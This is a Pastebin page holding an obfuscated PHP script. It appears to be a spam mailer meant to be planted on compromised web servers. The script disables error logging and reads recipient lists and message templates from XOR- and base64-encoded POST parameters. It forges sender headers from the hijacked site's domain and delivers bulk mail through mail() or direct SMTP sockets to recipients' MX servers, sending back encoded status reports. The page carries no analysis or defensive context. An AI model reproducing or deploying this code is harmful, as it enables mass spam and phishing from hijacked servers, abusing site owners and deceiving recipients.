Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?
- $i59 = "Euc<v#`5R1s?j{\nJnd8,KA>}wIQ\r7gp;^U0\"YBSH@!=&MOG\\Vlaz\$2mtxLFDX[Zb:f6)~h+%'_k/iyN4CTer.|(3]-\tq9*o PW";
- @error_reporting(NULL);
- @ini_set("error_log", NULL);
- @ini_set("log_errors", 0);
- $vxlcl82 = array(
- "dataTo" => "",
- "fromLogin" => "",
- "fromName" => "",
- "subjTempl" => "",
- "bodyTempl" => "",
- "hostFrom" => "",
- "initnbsock" => FALSE,
- "initsock" => FALSE,
- "initmail" => FALSE
- );
- if (FALSE == bctio27($i59, $vxlcl82)) {
- echo PHP_OS . "+" . md5(0987654321) . "+01+[[]]\n";
- exit;
- }
- $unahu45 = array();
- foreach ($vxlcl82["dataTo"] as $xenfh75) {
- $iztbg25 = array(
- "nameFirst" => "",
- "nameLast" => "",
- "emailTo" => "",
- "domainTo" => "",
- "emailToLong" => "",
- "forceFromFlag" => FALSE,
- "emailFrom" => "",
- "emailFromLong" => "",
- "subj" => "",
- "body" => "",
- "headersMain" => "",
- "headersFrom" => "",
- "headersSock" => "",
- "mxHost" => "",
- "mxAddr" => null,
- "sock" => null,
- "stime" => null,
- "nbstep" => 0,
- "errline" => "",
- "done" => FALSE,
- "doneWay" => 0,
- "failSmtp" => FALSE
- );
- if (FALSE == xagwq19($i59, $xenfh75, $vxlcl82, $iztbg25)) {
- echo PHP_OS . "+" . md5(1111111111) . "+02+[[" . fsuxu12($i59, $xenfh75) . "]]\n";
- continue;
- }
- slltw17($i59, $vxlcl82, $iztbg25);
- hkblq88($i59, $vxlcl82, $iztbg25);
- $unahu45[] = $iztbg25;
- }
- crnms40($i59, $vxlcl82, $unahu45);
- pkwxg22($i59, $vxlcl82, $unahu45);
- glxex92($i59, $vxlcl82, $unahu45);
- ygxtf52($i59, $vxlcl82, $unahu45);
- function fsuxu12($i59, $nihvk86)
- {
- $esjbi0 = "";
- for ($haxae63 = 0; $haxae63 < strlen($nihvk86); $haxae63++)
- $esjbi0 .= chr(ord($nihvk86[$haxae63]) ^ 2);
- return base64_encode($esjbi0);
- }
- function ygxtf52($i59, $vxlcl82, $unahu45)
- {
- if ($vxlcl82["initnbsock"] == FALSE && $vxlcl82["initsock"] == FALSE && $vxlcl82["initmail"] == FALSE) {
- echo PHP_OS . "+" . md5(1111111111) . "+03+[[" . fsuxu12($i59, "no func exists") . "]]\n";
- return;
- }
- $hmcex42 = 0;
- for ($jkbvz84 = 0; $jkbvz84 < count($unahu45); $jkbvz84++) {
- if ($unahu45[$jkbvz84]["failSmtp"] == TRUE) {
- echo PHP_OS . "+" . md5(2222222222) . "+04+[[" . fsuxu12($i59, $unahu45[$jkbvz84]["emailTo"] . " :: " . $unahu45[$jkbvz84]["errline"]) . "]]\n";
- }
- if ($unahu45[$jkbvz84]["done"] == TRUE) {
- $hmcex42++;
- }
- }
- if ($hmcex42 == 0) {
- echo PHP_OS . "+" . md5(0987654321) . "+04+[[]]\n";
- } else {
- echo "OK+" . md5(1234567890) . "+" . $hmcex42 . "+" . count($unahu45) . "\n";
- }
- }
- function pkwxg22($i59, &$vxlcl82, &$unahu45)
- {
- if (!function_exists("mail")) {
- $vxlcl82["initmail"] = FALSE;
- return;
- }
- $vxlcl82["initmail"] = TRUE;
- for ($jkbvz84 = 0; $jkbvz84 < count($unahu45); $jkbvz84++) {
- if ($unahu45[$jkbvz84]["done"] == TRUE)
- continue;
- if ($unahu45[$jkbvz84]["forceFromFlag"]) {
- if (@mail($unahu45[$jkbvz84]["emailToLong"], $unahu45[$jkbvz84]["subj"], $unahu45[$jkbvz84]["body"], $unahu45[$jkbvz84]["headersFrom"] . $unahu45[$jkbvz84]["headersMain"], "-f" . $unahu45[$jkbvz84]["emailFrom"])) {
- $unahu45[$jkbvz84]["done"] = TRUE;
- $unahu45[$jkbvz84]["doneWay"] = 2;
- } else {
- $unahu45[$jkbvz84]["done"] = FALSE;
- }
- } else {
- if (@mail($unahu45[$jkbvz84]["emailToLong"], $unahu45[$jkbvz84]["subj"], $unahu45[$jkbvz84]["body"], $unahu45[$jkbvz84]["headersMain"])) {
- $unahu45[$jkbvz84]["done"] = TRUE;
- $unahu45[$jkbvz84]["doneWay"] = 2;
- } else {
- $unahu45[$jkbvz84]["done"] = FALSE;
- }
- }
- }
- }
- function fjcwd9($i59, $kcpbr76)
- {
- $esjbi0 = '';
- while ($itygz27 = @fgets($kcpbr76, 4096)) {
- $esjbi0 .= $itygz27;
- if (substr($itygz27, 3, 1) == " ")
- break;
- }
- return $esjbi0;
- }
- function glxex92($i59, &$vxlcl82, &$unahu45)
- {
- if (!function_exists("fsockopen") && !function_exists("pfsockopen") && !function_exists("stream_socket_client")) {
- $vxlcl82["initsock"] = FALSE;
- return;
- }
- $vxlcl82["initsock"] = TRUE;
- for ($jkbvz84 = 0; $jkbvz84 < count($unahu45); $jkbvz84++) {
- if ($unahu45[$jkbvz84]["done"] == TRUE) {
- continue;
- }
- if ($unahu45[$jkbvz84]["failSmtp"] == TRUE) {
- continue;
- }
- if ($unahu45[$jkbvz84]["mxAddr"] == null) {
- $unahu45[$jkbvz84]["mxAddr"] = gethostbyname($unahu45[$jkbvz84]["mxHost"]);
- }
- $unahu45[$jkbvz84]["nbstep"] = 0;
- $lllaf63 = 0;
- $rbjyp61 = "";
- if (function_exists("fsockopen")) {
- $unahu45[$jkbvz84]["sock"] = @fsockopen($unahu45[$jkbvz84]["mxAddr"], 25, $lllaf63, $rbjyp61, 15);
- } elseif (function_exists("pfsockopen")) {
- $unahu45[$jkbvz84]["sock"] = @pfsockopen($unahu45[$jkbvz84]["mxAddr"], 25, $lllaf63, $rbjyp61, 15);
- } elseif (function_exists("stream_socket_client")) {
- $unahu45[$jkbvz84]["sock"] = @stream_socket_client("tcp://" . $unahu45[$jkbvz84]["mxAddr"] . ":25", $lllaf63, $rbjyp61, 15);
- } else {
- $unahu45[$jkbvz84]["errline"] = "sock connect function";
- continue;
- }
- if (!$unahu45[$jkbvz84]["sock"]) {
- $unahu45[$jkbvz84]["errline"] = "sock connect";
- continue;
- }
- $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
- @fputs($unahu45[$jkbvz84]["sock"], "EHLO " . $vxlcl82["hostFrom"] . "\r\n");
- $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
- if (substr($yzqyk58, 0, 3) != 250) {
- $unahu45[$jkbvz84]["nbstep"] = 2;
- $unahu45[$jkbvz84]["errline"] = "<< ehlo " . trim(preg_replace("/\r\n/", " ", $yzqyk58));
- fclose($unahu45[$jkbvz84]["sock"]);
- continue;
- }
- @fputs($unahu45[$jkbvz84]["sock"], "MAIL FROM:<" . $unahu45[$jkbvz84]["emailFrom"] . ">\r\n");
- $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
- if (substr($yzqyk58, 0, 3) != 250) {
- $unahu45[$jkbvz84]["nbstep"] = 3;
- $unahu45[$jkbvz84]["failSmtp"] = TRUE;
- $unahu45[$jkbvz84]["errline"] = "<< mail from " . trim(preg_replace("/\r\n/", " ", $yzqyk58));
- fclose($unahu45[$jkbvz84]["sock"]);
- continue;
- }
- @fputs($unahu45[$jkbvz84]["sock"], "RCPT TO:<" . $unahu45[$jkbvz84]["emailTo"] . ">\r\n");
- $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
- if (substr($yzqyk58, 0, 3) != 250 && substr($yzqyk58, 0, 3) != 251) {
- $unahu45[$jkbvz84]["nbstep"] = 4;
- $unahu45[$jkbvz84]["failSmtp"] = TRUE;
- $unahu45[$jkbvz84]["errline"] = "<< rcpt to " . trim(preg_replace("/\r\n/", " ", $yzqyk58));
- fclose($unahu45[$jkbvz84]["sock"]);
- continue;
- }
- @fputs($unahu45[$jkbvz84]["sock"], "DATA\r\n");
- $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
- if (substr($yzqyk58, 0, 3) != 354) {
- $unahu45[$jkbvz84]["nbstep"] = 5;
- $unahu45[$jkbvz84]["failSmtp"] = TRUE;
- $unahu45[$jkbvz84]["errline"] = "<< data " . trim(preg_replace("/\r\n/", " ", $yzqyk58));
- fclose($unahu45[$jkbvz84]["sock"]);
- continue;
- }
- @fputs($unahu45[$jkbvz84]["sock"], $unahu45[$jkbvz84]["headersSock"] . "\r\n" . $unahu45[$jkbvz84]["body"] . "\r\n.\r\n");
- $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
- if (substr($yzqyk58, 0, 3) != 250) {
- $unahu45[$jkbvz84]["nbstep"] = 6;
- $unahu45[$jkbvz84]["failSmtp"] = TRUE;
- $unahu45[$jkbvz84]["errline"] = "<< body " . trim(preg_replace("/\r\n/", " ", $yzqyk58));
- fclose($unahu45[$jkbvz84]["sock"]);
- continue;
- }
- $unahu45[$jkbvz84]["nbstep"] = 6;
- $unahu45[$jkbvz84]["errline"] = "sock done";
- $unahu45[$jkbvz84]["done"] = TRUE;
- $unahu45[$jkbvz84]["doneWay"] = 3;
- @fputs($unahu45[$jkbvz84]["sock"], "QUIT\r\n");
- @fclose($unahu45[$jkbvz84]["sock"]);
- }
- return;
- }
- function wfyfz82($i59, $kcpbr76, &$ccdut93, &$wdnqf10, $ghjnv17)
- {
- $ccdut93[$wdnqf10[$kcpbr76]["orig"]]["nbstep"] = $ghjnv17;
- $ccdut93[$wdnqf10[$kcpbr76]["orig"]]["stime"] = time(NULL);
- $wdnqf10[$kcpbr76]["nbstep"] = $ghjnv17;
- $wdnqf10[$kcpbr76]["stime"] = time(NULL);
- }
- function wdkay7($i59, $kcpbr76, &$ccdut93, &$wdnqf10, &$nxvux4, $tlqgr67)
- {
- $ccdut93[$wdnqf10[$kcpbr76]["orig"]]["errline"] = trim(preg_replace("/\r\n/", " ", $tlqgr67));
- $wwnfn92 = array_search($kcpbr76, $nxvux4);
- unset($nxvux4[$wwnfn92]);
- unset($wdnqf10[$kcpbr76]);
- socket_close($kcpbr76);
- }
- function crnms40($i59, &$vxlcl82, &$unahu45)
- {
- if (!function_exists("socket_create") || !function_exists("socket_connect") || !function_exists("socket_select") || !function_exists("socket_read") || !function_exists("socket_write")) {
- $vxlcl82["initnbsock"] = FALSE;
- return;
- }
- $vxlcl82["initnbsock"] = TRUE;
- $xglki37 = array();
- $vfyxw97 = 35;
- $pvbdh92 = 25;
- $aaaqk92 = array();
- $wbwts68 = array();
- for ($jkbvz84 = 0; $jkbvz84 < count($unahu45); $jkbvz84++) {
- if ($unahu45["done"] == TRUE) {
- continue;
- }
- if ($unahu45[$jkbvz84]["failSmtp"] == TRUE) {
- continue;
- }
- $unahu45[$jkbvz84]["sock"] = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
- if ($unahu45[$jkbvz84]["sock"] == FALSE) {
- $unahu45[$jkbvz84]["errline"] = "nb create socket";
- continue;
- }
- @socket_set_nonblock($unahu45[$jkbvz84]["sock"]);
- $unahu45[$jkbvz84]["mxAddr"] = gethostbyname($unahu45[$jkbvz84]["mxHost"]);
- $ncsee45 = @socket_connect($unahu45[$jkbvz84]["sock"], $unahu45[$jkbvz84]["mxHost"], 25);
- if ($ncsee45 == FALSE) {
- $jnxjb61 = socket_last_error();
- if ($jnxjb61 != 10035 && $jnxjb61 != SOCKET_EINPROGRESS && $jnxjb61 != SOCKET_EALREADY) {
- $unahu45[$jkbvz84]["errline"] = "nb connect socket";
- continue;
- }
- }
- $unahu45[$jkbvz84]["stime"] = time(NULL);
- $aaaqk92[] = $unahu45[$jkbvz84]["sock"];
- $xglki37[$unahu45[$jkbvz84]["sock"]] = $unahu45[$jkbvz84];
- $xglki37[$unahu45[$jkbvz84]["sock"]]["orig"] = $jkbvz84;
- }
- while (count($aaaqk92) + count($wbwts68) > 0) {
- $ewqxb0 = $aaaqk92;
- $olbdv78 = $wbwts68;
- if (FALSE !== ($baluw62 = socket_select($olbdv78, $ewqxb0, $yyjgh73 = null, 0))) {
- if ($baluw62 > 0) {
- if (count($olbdv78) > 0) {
- foreach ($olbdv78 as $ipocr99) {
- $yzqyk58 = @socket_read($ipocr99, 1024);
- if ($yzqyk58 == FALSE) {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "nb sock read");
- continue;
- }
- if ($xglki37[$ipocr99]["nbstep"] == 1) {
- $ncsee45 = @socket_write($ipocr99, "EHLO " . $vxlcl82["hostFrom"] . "\r\n");
- if ($ncsee45 == FALSE) {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb ehlo");
- continue;
- }
- wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 2);
- } elseif ($xglki37[$ipocr99]["nbstep"] == 2) {
- if (substr($yzqyk58, 0, 3) != 250) {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "<< nb ehlo " . $yzqyk58);
- continue;
- }
- $ncsee45 = @socket_write($ipocr99, "MAIL FROM:<" . $xglki37[$ipocr99]["emailFrom"] . ">\r\n");
- if ($ncsee45 == FALSE) {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb mail from");
- continue;
- }
- wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 3);
- } elseif ($xglki37[$ipocr99]["nbstep"] == 3) {
- if (substr($yzqyk58, 0, 3) != 250) {
- $unahu45[$xglki37[$ipocr99]["orig"]]["failSmtp"] = TRUE;
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "<< nb mail from " . $yzqyk58);
- continue;
- }
- $ncsee45 = @socket_write($ipocr99, "RCPT TO:<" . $xglki37[$ipocr99]["emailTo"] . ">\r\n");
- if ($ncsee45 == FALSE) {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb rcpt to");
- continue;
- }
- wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 4);
- } elseif ($xglki37[$ipocr99]["nbstep"] == 4) {
- if (substr($yzqyk58, 0, 3) != 250 && substr($yzqyk58, 0, 3) != 251) {
- $unahu45[$xglki37[$ipocr99]["orig"]]["failSmtp"] = TRUE;
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "<< nb rcpt to " . $yzqyk58);
- continue;
- }
- $ncsee45 = @socket_write($ipocr99, "DATA\r\n");
- if ($ncsee45 == FALSE) {
- print $yzqyk58;
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb data");
- continue;
- }
- wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 5);
- } elseif ($xglki37[$ipocr99]["nbstep"] == 5) {
- if (substr($yzqyk58, 0, 3) != 354) {
- $unahu45[$xglki37[$ipocr99]["orig"]]["failSmtp"] = TRUE;
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "<< nb data " . $yzqyk58);
- continue;
- }
- $ncsee45 = @socket_write($ipocr99, $xglki37[$ipocr99]["headersSock"] . "\r\n" . $xglki37[$ipocr99]["body"] . "\r\n.\r\n");
- if ($ncsee45 == FALSE) {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb body");
- continue;
- }
- wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 6);
- } elseif ($xglki37[$ipocr99]["nbstep"] == 6) {
- if (substr($yzqyk58, 0, 3) != 250) {
- $unahu45[$xglki37[$ipocr99]["orig"]]["failSmtp"] = TRUE;
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "<< nb body " . $yzqyk58);
- continue;
- }
- $unahu45[$xglki37[$ipocr99]["orig"]]["failSmtp"] = FALSE;
- $unahu45[$xglki37[$ipocr99]["orig"]]["done"] = TRUE;
- $unahu45[$xglki37[$ipocr99]["orig"]]["doneWay"] = 1;
- $ncsee45 = @socket_write($ipocr99, "QUIT\r\n");
- if ($ncsee45 == FALSE) {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb quit");
- continue;
- }
- wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 6);
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "nb done");
- } else {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "nb unknown step");
- }
- }
- }
- if (count($ewqxb0) > 0) {
- foreach ($ewqxb0 as $eztco67) {
- wfyfz82($i59, $eztco67, $unahu45, $xglki37, 1);
- $wbwts68[] = $eztco67;
- $uzrsu74 = array_search($eztco67, $aaaqk92);
- unset($aaaqk92[$uzrsu74]);
- }
- }
- }
- } else {
- break;
- }
- foreach ($xglki37 as $nqhsc23) {
- $hklao9 = time(NULL);
- if ($nqhsc23["nbstep"] == 0) {
- if ($nqhsc23["stime"] + $vfyxw97 < $hklao9) {
- wdkay7($i59, $nqhsc23["sock"], $unahu45, $xglki37, $aaaqk92, "nb sock conn timeout " . $nqhsc23["nbstep"]);
- }
- } else {
- if ($nqhsc23["stime"] + $pvbdh92 < $hklao9) {
- closeSock($nqhsc23["sock"], $unahu45, $xglki37, $wbwts68, "nb sock r/w timeout " . $nqhsc23["nbstep"]);
- }
- }
- }
- }
- }
- function hkblq88($i59, $vxlcl82, &$esjbi0)
- {
- $esjbi0["headersMain"] = "X-Priority: 3 (Normal)\r\n";
- $esjbi0["headersMain"] .= "MIME-Version: 1.0\r\n";
- $esjbi0["headersMain"] .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n";
- $esjbi0["headersMain"] .= "Content-Transfer-Encoding: 8bit\r\n";
- $esjbi0["headersFrom"] = "From: " . $esjbi0["emailFromLong"] . "\r\n";
- $esjbi0["headersFrom"] .= "Reply-To:" . $esjbi0["emailFromLong"] . "\r\n";
- $esjbi0["headersSock"] = "Date: " . @date("D, j M Y G:i:s O") . "\r\n";
- $esjbi0["headersSock"] .= $esjbi0["headersFrom"];
- $esjbi0["headersSock"] .= "Message-ID: <" . preg_replace("/(.{7})(.{5})(.{2}).*/", "", md5(time())) . "@" . $vxlcl82["hostFrom"] . ">\r\n";
- $esjbi0["headersSock"] .= "To: " . $esjbi0["emailToLong"] . "\r\n";
- $esjbi0["headersSock"] .= "Subject: " . $esjbi0["subj"] . "\r\n";
- $esjbi0["headersSock"] .= $esjbi0["headersMain"];
- }
- function slltw17($i59, $vxlcl82, &$esjbi0)
- {
- $esjbi0["subj"] = @str_replace("%R_NAME%", $esjbi0["nameFirst"], $vxlcl82["subjTempl"]);
- $esjbi0["subj"] = @str_replace("%R_LNAME%", $esjbi0["nameLast"], $esjbi0["subj"]);
- $esjbi0["body"] = @str_replace("%R_NAME%", $esjbi0["nameFirst"], $vxlcl82["bodyTempl"]);
- $esjbi0["body"] = @str_replace("%R_LNAME%", $esjbi0["nameLast"], $esjbi0["body"]);
- }
- function xagwq19($i59, $mfvuq23, $vxlcl82, &$esjbi0)
- {
- if (FALSE === @preg_match("/(.*?;)?(.*?;)?(.+@(.+)?);?/", $mfvuq23, $zroqx74)) {
- return FALSE;
- }
- if (!isset($zroqx74) || count($zroqx74) != 5) {
- return FALSE;
- }
- $esjbi0["nameFirst"] = @ucfirst(str_replace(";", "", $zroqx74[1]));
- $esjbi0["nameLast"] = @ucfirst(str_replace(";", "", $zroqx74[2]));
- $esjbi0["emailTo"] = str_replace(";", "", $zroqx74[3]);
- $esjbi0["domainTo"] = str_replace(";", "", $zroqx74[4]);
- if (!isset($esjbi0["domainTo"]) || $esjbi0["domainTo"] == "") {
- return FALSE;
- }
- if (!isset($esjbi0["emailTo"]) || $esjbi0["emailTo"] == "") {
- return FALSE;
- }
- if (isset($esjbi0["nameFirst"]) && $esjbi0["nameFirst"] != "") {
- $esjbi0["emailToLong"] = "\"" . $esjbi0["nameFirst"] . " " . $esjbi0["nameLast"] . "\" <" . $esjbi0["emailTo"] . ">";
- } else {
- $esjbi0["emailToLong"] = $esjbi0["emailTo"];
- }
- if (preg_match("", $vxlcl82["hostFrom"]) || @ini_get("safe_mode")) {
- $esjbi0["forceFromFlag"] = FALSE;
- } else {
- $esjbi0["forceFromFlag"] = TRUE;
- }
- $esjbi0["emailFrom"] = $vxlcl82["fromLogin"] . "@" . $vxlcl82["hostFrom"];
- if (isset($vxlcl82["fromName"]) && $vxlcl82["fromName"] != "") {
- $esjbi0["emailFromLong"] = $vxlcl82["fromName"] . " <" . $esjbi0["emailFrom"] . ">";
- } else {
- $esjbi0["emailFromLong"] = $esjbi0["emailFrom"];
- }
- $esjbi0["mxHost"] = "127.0.0.1";
- if (function_exists("getmxrr")) {
- @getmxrr($esjbi0["domainTo"], $nhysx96, $ntryu13);
- if (count($nhysx96) !== 0) {
- $haxae63 = array_keys($ntryu13, min($ntryu13));
- $esjbi0["mxHost"] = $nhysx96[$haxae63[0]];
- }
- }
- return TRUE;
- }
- function bctio27($i59, &$esjbi0)
- {
- if (count($_POST) < 2) {
- return FALSE;
- }
- $fnxyh15 = false;
- $ybhhi32 = $wghts9 = "";
- foreach (array_keys($_POST) as $zcxpv1) {
- if ($zcxpv1[0] == "l")
- $ybhhi32 = $zcxpv1;
- if ($zcxpv1[0] == "d")
- $wghts9 = $zcxpv1;
- if ($zcxpv1[0] == "e")
- $xuzda17 = true;
- }
- if ($ybhhi32 == "" || $wghts9 == "") {
- return FALSE;
- }
- $owxdm76 = ppuqd76($i59, $ybhhi32, $xuzda17);
- $ufusu43 = ppuqd76($i59, $wghts9, $xuzda17);
- if ($owxdm76 == FALSE || $ufusu43 == FALSE) {
- return FALSE;
- }
- $esjbi0["dataTo"] = @preg_split("/#/", $owxdm76);
- $esjbi0["fromLogin"] = $esjbi0["fromName"] = $esjbi0["subjTempl"] = $esjbi0["bodyTempl"] = "";
- if (FALSE !== @preg_match("/<USER>(.*?)<\\/USER>/ism", $ufusu43, $zroqx74) && isset($zroqx74) && count($zroqx74) > 1) {
- $esjbi0["fromLogin"] = $zroqx74[1];
- }
- if (FALSE !== @preg_match("/<NAME>(.*?)<\\/NAME>/ism", $ufusu43, $zroqx74) && isset($zroqx74) && count($zroqx74) > 1) {
- $esjbi0["fromName"] = $zroqx74[1];
- }
- if (FALSE !== @preg_match("/<SUBJ>(.*?)<\\/SUBJ>/ism", $ufusu43, $zroqx74) && isset($zroqx74) && count($zroqx74) > 1) {
- $esjbi0["subjTempl"] = $zroqx74[1];
- }
- if (FALSE !== @preg_match("/<SBODY>(.*?)<\\/SBODY>/ism", $ufusu43, $zroqx74) && isset($zroqx74) && count($zroqx74) > 1) {
- $esjbi0["bodyTempl"] = $zroqx74[1];
- }
- $esjbi0["hostFrom"] = @preg_replace("/^(www|ftp)\\./i", '', @$_SERVER["HTTP_HOST"]);
- return TRUE;
- }
- function ppuqd76($i59, $zcxpv1, $fnxyh15)
- {
- if (!isset($zcxpv1) || $zcxpv1 == "")
- return FALSE;
- $couuh34 = @$_POST[$zcxpv1];
- if ($fnxyh15) {
- $lyvyv48 = base64_decode($couuh34);
- $couuh34 = '';
- for ($haxae63 = 0; $haxae63 < strlen($lyvyv48); $haxae63++)
- $couuh34 .= chr(ord($lyvyv48[$haxae63]) ^ 2);
- }
- return urldecode(stripslashes($couuh34));
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement